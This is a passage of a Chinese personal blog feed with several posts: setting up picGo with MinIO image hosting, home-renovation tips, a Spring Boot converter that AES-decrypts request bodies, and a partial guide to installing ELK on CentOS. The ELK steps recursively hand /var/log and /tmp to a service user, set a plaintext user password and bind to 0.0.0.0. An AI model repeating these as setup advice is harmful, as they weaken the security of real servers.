id="创建应用id和秘钥用于上传图片，而避免使用自己的超管账号，记住生成的accessKey和Secret-key，后面图床配置会用到">创建应用id和秘钥用于上传图片，而避免使用自己的超管账号，记住生成的accessKey和Secret key，后面图床配置会用到</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/3a7f7b56693d6590727f02954569476b.png" alt="image-20230710134953589"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/aefbc1a4aeddef272fc66dabb343103e.png" alt="image-20230710135928866"></p><h2 id="下载配置图床工具">下载配置图床工具</h2><h3 id="说明">说明</h3><p>有挺多类似的工具，比如<code>picGp</code>，mac上的<code>uPic</code>等</p><p>我这边使用<code>picGo</code>来说明</p><h3 id="下载">下载</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/3cf26b4e63dde8fde036fd62eaaf48cc.png" alt="image-20230710135253063"></p><p>点击右侧release并找到打包好的包，根据自己使用平台下载指定的版本</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/24d92c2e7c48e329ea81dfa87d551a1c.png" alt="image-20230710135410847"></p><h3 id="picGo配置">picGo配置</h3><p>打开picGo并找到S3协议勾选</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/65569550a49c83cbaa9c00073da21e4e.png" alt="image-20230710135535476"></p><h3 id="在图床设置里面配置S3协议">在图床设置里面配置S3协议</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/8d0076a743c91d9608e5b7a1d2075597.png" alt="image-20230710135711230"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/108ff57cb243a2c6e1cb1a1b7a885696.png" alt="image-20230710140232225"></p><ul><li>应用秘钥: 上面在minio控制端Access keys刚生成的Access Key</li><li>应用秘钥: 上面在minio控制端Access keys刚生成的Secret Key</li><li>桶: 就是刚才在minio控制台中创建的桶的名称</li><li>文件路径: 这个用于重命名上传图片的名称，避免出现重复，我这边使用的是年月加md5命名，所以最后设置是<code>&#123;year&#125;/&#123;month&#125;/&#123;md5&#125;.&#123;extName&#125;</code></li></ul><p>最后点击确定并设置默认图床即可正常使用了，可以在PicGo设置中配置上传后自动复制文件名</p><h3 id="软件可能出现的bug">软件可能出现的bug</h3><p>之前使用时碰到过一次图片无法上传，相册无法显示的问题，具体解决办法是找到<code>C:\Users\ChenQi\AppData\Roaming\picgo</code>目录下的<code>picgo.db</code>备份后删除，重启picGo客户端即可正常使用，但是会造成相册情况。</p><h2 id="在Typora中写文档时粘贴图片自动上传。">在Typora中写文档时粘贴图片自动上传。</h2><p>在<code>偏好设置</code>-&gt; <code>图像</code>中配置即可，这样在粘贴图片时即可自动上传图片了</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/e3e477a9330e84257e9f0f09b4c0953b.png" alt="image-20230710140946925"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;准备条件&quot;&gt;准备条件&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;text-align:center&quot;&gt;使用工具&lt;/th&gt;
&lt;th style=&quot;text-align:center&quot;&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;t</summary>
      
    
    
    
    <category term="nas" scheme="https://blog.allbs.cn/categories/nas/"/>
    
    
    <category term="群晖" scheme="https://blog.allbs.cn/tags/%E7%BE%A4%E6%99%96/"/>
    
    <category term="图床" scheme="https://blog.allbs.cn/tags/%E5%9B%BE%E5%BA%8A/"/>
    
  </entry>
  
  <entry>
    <title>装修踩坑和心得</title>
    <link href="https://blog.allbs.cn/posts/29030/"/>
    <id>https://blog.allbs.cn/posts/29030/</id>
    <published>2023-06-13T04:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前期准备">前期准备</h2><p>✅ 装修公司会让你先交定金再进行设计，能不交就不交，毕竟装修公司到处都是。</p><p>✅ 选择能够将装修清单带出去的公司，部门公司会说只有内网能看，这种的不建议。</p><p>✅ 装修清单里面的工艺要标清楚，那种一句话的不能选，后期会涉及大量增项。</p><p>✅ 最好还是找个懂行的监理，监理意义在于施工前和工人对接工艺，工艺对接好验收也简单。</p><p>✅ 装修公司的合同一般是当地标准合同的简化版，千万要增加延期交付的违约金，比如可以定个超过一天200+。</p><p>✅ 不要和项目经理签项目延期单，延期就罚钱。</p><p>✅ 项目支付比例一般分四次，进场前20~30%，水电结束30%，木瓦结束30%，验收5%，千万记得要留个5%的项目保证金，要写在合同上，一年后没问题再支付，不然你钱交完，装修公司是不上心的。</p><p>✅ 规定好装修公司的验收标准必须满足国标的验收标准和环保标准，额外写在合同上！</p><p>✅ 让装修公司确定好项目经理，对接好所有的施工标准，如果能接受再签合同，不然会出现扯皮。</p><p>✅ 设计师给的设计图并不一定具备施工条件，比如设计师为了好看可能会改雨水管、拆顶梁等。实际看过现场之后让设计师重新修改方案。</p><p>🧑‍💻 这是监理给的一份工艺最低要求可以参考:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/06/343c0d85330f9a256d5adb5f15b83e48.png" alt=""></p><h2 id="施工阶段">施工阶段</h2><h3 id="打拆砌墙">打拆砌墙</h3><p>❗ 和物业确定好哪些墙能拆哪些不能拆，千万不要拆承重墙！一般开发商给的户型图上标黑色的那部分就是承重墙。</p><p>👨‍🔧 打拆工人一般是将建筑垃圾放在小区内的指定位置。但是垃圾运出去还需要额外花钱，如果买房的时候交过垃圾清运费就可以不用管，如果没交那么就自己找人拖走或者交代物业运走，一般多的话会有个小几百。</p><p>✨ 注意冰箱位置，如果是零嵌要提前选好冰箱来做，不然的话一般装修公司预留的深度会很小(柜子的深度60)，很难选冰箱。</p><h3 id="水电">水电</h3><p>✨ 如果想要只能家具，千万记得开关盒中<strong>留零线</strong>！但是留了零线接线方式和传统的双控、三控是不一样的，所以做之前要做好规划。</p><p>✨ 热水器如果想要使用零冷水功能，千万记得要<strong>留回水管</strong>!虽然后期可以加装U型阀，但是效果肯定没加回水管的好。</p><p>✨ 冰箱单独走线!</p><p>✨ 如果门口需要加摄像头，记得预留一根线到门外，可以和弱电箱的一路。</p><p>✨ 记得在窗户旁边加插座，方便后期加智能窗帘，可以不用不能没有。</p><p>✨ 卫生间可以加电热毛巾架、智能马桶的电位。</p><p>✨ 浴室柜后记得留电位，可以后面用智能镜柜。</p><p>✨ 厨房开关插座买带开关的，省的一直插拔。</p><p>✨ 水一般走天，电走地，不要开横槽，管道从地面走，反正后面地面会封起来。</p><p>✨ 保证每个房间都有网线能到，根据自己要做有线mesh还是ap面板来选择，推荐有线mesh。可以通三根网线从弱电箱到电视下方，两根有线mesh用，一根iptv。</p><p>✨ 如果洗衣机在阳台，千万要留地漏，装修公司一般都不在那边留地漏怕反水，可以买个止逆的地漏，万一阳台水管真出问题，可能把整个地板泡掉得不偿失。</p><p>✨ 如果装中央空调，一般是不包中央空调的电源线的，要额外花钱！</p><h3 id="木工">木工</h3><p>✨ 木工现在活很少一般就是掉个顶，做窗帘盒、幕布盒之类的。</p><p>✨ 如果是木工打的柜子就需要这个阶段来做，因为我是全屋定制这个不是很清楚。</p><h3 id="瓦工">瓦工</h3><p>✨ 瓦工要看师傅的人品的！有的师傅手艺差人品差，贴的砖一揭就掉下来。</p><p>✨ 铺装前要先让瓷砖供货商给出铺装方案，建议通铺。我家是厨房客厅通铺，卧室书房是地板。</p><p>✨ 验收的时候要检验每一块墙砖的空鼓情况，不管师傅手艺多好肯定还是有这种情况存在，边缘的可以注浆。</p><p>✨ 建议不要做壁龛没啥用。如果做了壁龛内部要留坡度方便水出来。</p><p>✨ 卫生间要做48小时防水实验，48小时后要去楼下邻居家看看有没有漏水的情况。</p><h3 id="油漆">油漆</h3><p>✨ 墙固要留到现在才刷，有些装修公司会做面子工程一开始就做，但是时间太久到油漆阶段上面全是灰。</p><h2 id="其他补充">其他补充</h2><p>✅ 加了不少商品在购物车发现还是京东5月31号预售的优惠力度最大，大件家电有个定金一般都能抵500左右。<br>✅ 智能家居一般就是绿米的zigbee和小米的蓝牙mesh或者wifi协议。根据自身情况选择，最好的肯定是智能开关+智能灯，但是太贵了。可以选择凌动开关+智能灯。凌动开关其实就是价格弹簧回弹保持通电需要在米家里面打开智能灯的凌动功能才能用。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前期准备&quot;&gt;前期准备&lt;/h2&gt;
&lt;p&gt;✅ 装修公司会让你先交定金再进行设计，能不交就不交，毕竟装修公司到处都是。&lt;/p&gt;
&lt;p&gt;✅ 选择能够将装修清单带出去的公司，部门公司会说只有内网能看，这种的不建议。&lt;/p&gt;
&lt;p&gt;✅ 装修清单里面的工艺要标清楚，那种一句话的</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="装修" scheme="https://blog.allbs.cn/tags/%E8%A3%85%E4%BF%AE/"/>
    
  </entry>
  
  <entry>
    <title>spring boot解密数据体</title>
    <link href="https://blog.allbs.cn/posts/49043/"/>
    <id>https://blog.allbs.cn/posts/49043/</id>
    <published>2023-05-12T02:02:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="有这样一个需求，拿到一份其他园区的五位一体数据对接文档，要求根据文档实现类似的服务端提供企业传输数据‘">有这样一个需求，拿到一份其他园区的五位一体数据对接文档，要求根据文档实现类似的服务端提供企业传输数据‘</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/05/cfb1284c5f8f84bdb26b0fe9fd54dcc3.png" alt="image-20230512100249705"></p><h2 id="实现方式（下文采用的是HttpMessageConverter的方式，还有其他方式暂不列举）">实现方式（下文采用的是HttpMessageConverter的方式，还有其他方式暂不列举）</h2><h3 id="消息转换器">消息转换器</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.wwyt.config.convert;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.core.type.TypeReference;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.JavaType;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> com.lyc.wwyt.exception.DecryptException;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.HttpHeaders;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.HttpInputMessage;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.MediaType;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.converter.json.MappingJackson2HttpMessageConverter;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StreamUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.IvParameterSpec;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.SecretKeySpec;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Type;</span><br><span class="line"><span class="keyword">import</span> java.nio.charset.StandardCharsets;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.Collections;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DecryptingHttpMessageConverter</span> <span class="keyword">extends</span> <span class="title class_">MappingJackson2HttpMessageConverter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">KEY</span> <span class="operator">=</span> <span class="string">&quot;xxxxxxxxxxxxxxxxx&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">INITIALIZATION_VECTOR</span> <span class="operator">=</span> <span class="string">&quot;xxxxxxxxxxxxxxxxx&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> ObjectMapper objectMapper;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DecryptingHttpMessageConverter</span><span class="params">(ObjectMapper objectMapper)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(objectMapper);</span><br><span class="line">        <span class="built_in">this</span>.objectMapper = objectMapper;</span><br><span class="line">        setSupportedMediaTypes(Collections.singletonList(MediaType.APPLICATION_JSON));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canRead</span><span class="params">(Class&lt;?&gt; clazz, MediaType mediaType)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">read</span><span class="params">(Type type, Class&lt;?&gt; clazz, HttpInputMessage inputMessage)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">JavaType</span> <span class="variable">javaType</span> <span class="operator">=</span> <span class="built_in">this</span>.getJavaType(type, clazz);</span><br><span class="line">        <span class="type">String</span> <span class="variable">body</span> <span class="operator">=</span> StreamUtils.copyToString(inputMessage.getBody(), StandardCharsets.UTF_8);</span><br><span class="line">        Map&lt;String, Object&gt; map = objectMapper.readValue(body, <span class="keyword">new</span> <span class="title class_">TypeReference</span>&lt;Map&lt;String, Object&gt;&gt;() &#123;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="type">String</span> <span class="variable">encryptedDatas</span> <span class="operator">=</span> (String) map.get(<span class="string">&quot;datas&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">decryptedDatas</span> <span class="operator">=</span> decrypt(encryptedDatas);</span><br><span class="line">        String decryptedBody;</span><br><span class="line">        <span class="keyword">if</span> (List.class.isAssignableFrom(javaType.getRawClass())) &#123;</span><br><span class="line">            List&lt;Map&lt;String, Object&gt;&gt; decryptedList = objectMapper.readValue(decryptedDatas, <span class="keyword">new</span> <span class="title class_">TypeReference</span>&lt;List&lt;Map&lt;String, Object&gt;&gt;&gt;() &#123;</span><br><span class="line">            &#125;);</span><br><span class="line">            decryptedBody = objectMapper.writeValueAsString(decryptedList);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            Map&lt;String, Object&gt; decryptedMap = objectMapper.readValue(decryptedDatas, <span class="keyword">new</span> <span class="title class_">TypeReference</span>&lt;Map&lt;String, Object&gt;&gt;() &#123;</span><br><span class="line">            &#125;);</span><br><span class="line">            map.putAll(decryptedMap);</span><br><span class="line">            map.remove(<span class="string">&quot;datas&quot;</span>);</span><br><span class="line">            decryptedBody = objectMapper.writeValueAsString(map);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(decryptedBody.getBytes());</span><br><span class="line">        <span class="type">HttpHeaders</span> <span class="variable">headers</span> <span class="operator">=</span> inputMessage.getHeaders();</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.objectMapper.readValue(byteArrayInputStream, javaType);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">decrypt</span><span class="params">(String encrypted)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Cipher</span> <span class="variable">cipher</span> <span class="operator">=</span> Cipher.getInstance(<span class="string">&quot;AES/CBC/PKCS5Padding&quot;</span>);</span><br><span class="line">            <span class="type">SecretKeySpec</span> <span class="variable">key</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SecretKeySpec</span>(KEY.getBytes(StandardCharsets.UTF_8), <span class="string">&quot;AES&quot;</span>);</span><br><span class="line">            <span class="type">IvParameterSpec</span> <span class="variable">iv</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">IvParameterSpec</span>(INITIALIZATION_VECTOR.getBytes(StandardCharsets.UTF_8));</span><br><span class="line">            cipher.init(Cipher.DECRYPT_MODE, key, iv);</span><br><span class="line">            <span class="type">byte</span>[] decrypted = cipher.doFinal(Base64.getDecoder().decode(encrypted));</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(decrypted, StandardCharsets.UTF_8);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">DecryptException</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="将其添加到消息转换器中">将其添加到消息转换器中</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.wwyt.config.convert;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.converter.HttpMessageConverter;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.config.annotation.WebMvcConfigurer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.annotation.Resource;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 WebMvcConfig</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/5/11</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebMvcConfig</span> <span class="keyword">implements</span> <span class="title class_">WebMvcConfigurer</span> &#123;</span><br><span class="line">    <span class="meta">@Resource</span></span><br><span class="line">    <span class="keyword">private</span> ObjectMapper objectMapper;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">extendMessageConverters</span><span class="params">(List&lt;HttpMessageConverter&lt;?&gt;&gt; converters)</span> &#123;</span><br><span class="line">        converters.add(<span class="number">0</span>, <span class="keyword">new</span> <span class="title class_">DecryptingHttpMessageConverter</span>(objectMapper));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="实现效果">实现效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/05/7a3d7533a8ff9189373e3e31f40246ce.png" alt="image-20230512111359520"></p><h3 id="代码地址">代码地址</h3><p><a href="https://github.com/chenqi92/jt-wwyt.git">源码</a></p>]]></content>
    
    
    <summary type="html">接口数据体进行了加密的情况下，不修改接口的情况实现解密</summary>
    
    
    
    <category term="spring" scheme="https://blog.allbs.cn/categories/spring/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="spring boot" scheme="https://blog.allbs.cn/tags/spring-boot/"/>
    
    <category term="解密" scheme="https://blog.allbs.cn/tags/%E8%A7%A3%E5%AF%86/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS搭建ELK日志监控分析平台</title>
    <link href="https://blog.allbs.cn/posts/16253/"/>
    <id>https://blog.allbs.cn/posts/16253/</id>
    <published>2023-04-20T02:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h1>准备环境</h1><p>确保你的 CentOS 系统已经更新到最新版本，并安装了必要的依赖。如果es版本选择8.0以上则jdk至少17以上</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum update -y</span><br><span class="line"><span class="built_in">sudo</span> yum install -y wget curl vim</span><br></pre></td></tr></table></figure><h1>Elasticsearch</h1><h2 id="安装-Elasticsearch">安装 Elasticsearch</h2><h3 id="首先，你需要导入-Elasticsearch-的-GPG-key，然后添加其仓库">首先，你需要导入 Elasticsearch 的 GPG key，然后添加其仓库</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch</span><br></pre></td></tr></table></figure><h3 id="创建一个新的-Elasticsearch-YUM-repository-文件">创建一个新的 Elasticsearch YUM repository 文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> vim /etc/yum.repos.d/elasticsearch.repo</span><br></pre></td></tr></table></figure><h3 id="将以下内容添加到文件中：">将以下内容添加到文件中：</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[elasticsearch-8.x]</span><br><span class="line">name=Elasticsearch repository for 8.x packages</span><br><span class="line">baseurl=https://artifacts.elastic.co/packages/8.x/yum</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">enabled=1</span><br><span class="line">autorefresh=1</span><br><span class="line">type=rpm-md</span><br></pre></td></tr></table></figure><h3 id="现在，你可以安装-Elasticsearch-了">现在，你可以安装 Elasticsearch 了</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install -y elasticsearch</span><br></pre></td></tr></table></figure><h2 id="优化-Elasticsearch-内存占用">优化 Elasticsearch 内存占用</h2><h3 id="编辑-Elasticsearch-的配置文件，限制内存占用">编辑 Elasticsearch 的配置文件，限制内存占用</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> vim /etc/elasticsearch/jvm.options</span><br></pre></td></tr></table></figure><h3 id="找到以下两行，将堆内存限制在较低的范围内，例如">找到以下两行，将堆内存限制在较低的范围内，例如</h3><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="deletion">-Xms1024m</span></span><br><span class="line"><span class="deletion">-Xmx1024m</span></span><br></pre></td></tr></table></figure><h2 id="安装并配置分词插件">安装并配置分词插件</h2><h3 id="在这个例子中，我们以中文分词插件-IK-分词器为例">在这个例子中，我们以中文分词插件 IK 分词器为例</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> /usr/share/elasticsearch/bin/elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.7.0/elasticsearch-analysis-ik-8.7.0.zip</span><br></pre></td></tr></table></figure><h3 id="移动es到指定目录">移动es到指定目录</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mv</span> /usr/share/elasticsearch/ /home</span><br><span class="line"><span class="built_in">cd</span> /home/elasticsearch/</span><br><span class="line"><span class="built_in">mkdir</span> data</span><br><span class="line"><span class="built_in">mkdir</span> logs</span><br><span class="line"><span class="built_in">mv</span> /var/lib/elasticsearch/* /home/elasticsearch/data</span><br></pre></td></tr></table></figure><h3 id="生成证书">生成证书</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./bin/elasticsearch-certutil ca</span><br><span class="line">./bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12</span><br></pre></td></tr></table></figure><h3 id="修改配置文件">修改配置文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/elasticsearch/elasticsearch.yml</span><br></pre></td></tr></table></figure><h4 id="修改内容如下">修改内容如下</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">path.data:</span> <span class="string">/home/elasticsearch/data</span></span><br><span class="line"><span class="attr">path.logs:</span> <span class="string">/home/elasticsearch/logs</span></span><br><span class="line"><span class="attr">node.max_local_storage_nodes:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">node.name:</span> <span class="string">node-1</span></span><br><span class="line"><span class="attr">network.host:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"><span class="attr">cluster.initial_master_nodes:</span> [<span class="string">&quot;node-1&quot;</span>]</span><br><span class="line"><span class="comment"># 开启安全认证</span></span><br><span class="line"><span class="attr">xpack.security.enabled:</span> <span class="literal">true</span></span><br><span class="line"><span class="comment"># 开启ssl</span></span><br><span class="line"><span class="attr">xpack.security.transport.ssl.enabled:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">xpack.security.transport.ssl.verification_mode:</span> <span class="string">certificate</span></span><br><span class="line"><span class="comment"># 生成ca证书</span></span><br><span class="line"><span class="attr">xpack.security.transport.ssl.keystore.path:</span> <span class="string">/home/elasticsearch/elastic-certificates.p12</span></span><br><span class="line"><span class="attr">xpack.security.transport.ssl.truststore.path:</span> <span class="string">/home/elasticsearch/elastic-certificates.p12</span></span><br></pre></td></tr></table></figure><h2 id="创建对应的用户以启动ES">创建对应的用户以启动ES</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">groupadd es </span><br><span class="line"><span class="comment"># -g 指定组 -p 密码</span></span><br><span class="line">useradd es -g es -p password </span><br><span class="line"><span class="comment"># -R 处理指定目录以及其子目录下的所有文件</span></span><br><span class="line"><span class="built_in">chown</span> es:es -R es安装目录 </span><br><span class="line"><span class="built_in">chown</span> es:es -R /var/log</span><br><span class="line"><span class="built_in">chown</span> es:es -R /tmp</span><br></pre></td></tr></table></figure><h2 id="切换刚创建的用户并启动-Elasticsearch">切换刚创建的用户并启动 Elasticsearch</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 